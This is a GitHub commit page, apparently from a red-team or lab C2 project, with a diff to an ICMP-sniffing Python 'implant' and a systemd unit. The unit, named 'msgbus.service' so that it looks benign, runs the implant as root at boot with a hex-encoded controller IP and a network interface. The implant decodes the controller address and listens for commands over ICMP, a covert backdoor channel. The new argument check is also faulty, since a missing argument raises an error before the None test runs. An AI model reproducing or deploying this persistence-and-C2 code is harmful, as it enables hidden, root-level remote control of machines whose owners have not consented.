Skip to content

Commit

Permalink
Slight update- added interface to address issue
Browse files Browse the repository at this point in the history
  • Loading branch information
vaughnw128 committed Oct 31, 2023
1 parent acf147c commit c6fc5fb
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 2 deletions.
2 changes: 1 addition & 1 deletion deploy/implant/msgbus.service
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ After=network.target

[Service]
User=root
ExecStart=/usr/bin/msgbus 0a0001f2
ExecStart=/usr/bin/msgbus 0a0001f2 ens33

[Install]
WantedBy=multi-user.target
8 changes: 7 additions & 1 deletion src/implant.py
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,12 @@
print("Please supply an IP of the C2")
sys.exit()

if sys.argv[2] is None:
print("Please supply an interface")
sys.exit()

iface = sys.argv[2]

# Gets the controller ip from sys argv
addr_long = int(sys.argv[1], 16)
c_ip = socket.inet_ntoa(struct.pack("<L", addr_long))
Expand Down Expand Up @@ -129,7 +135,7 @@ def main():
# implant.send(implant.controller_ip, "join", os.getcwd().encode())

# Start sniffing
sniff(iface=implant.iface, prn=implant.sniff_callback, filter="icmp", store="0")
sniff(iface=iface, prn=implant.sniff_callback, filter="icmp", store="0")

if __name__ == "__main__":
main()

0 comments on commit c6fc5fb

Please sign in to comment.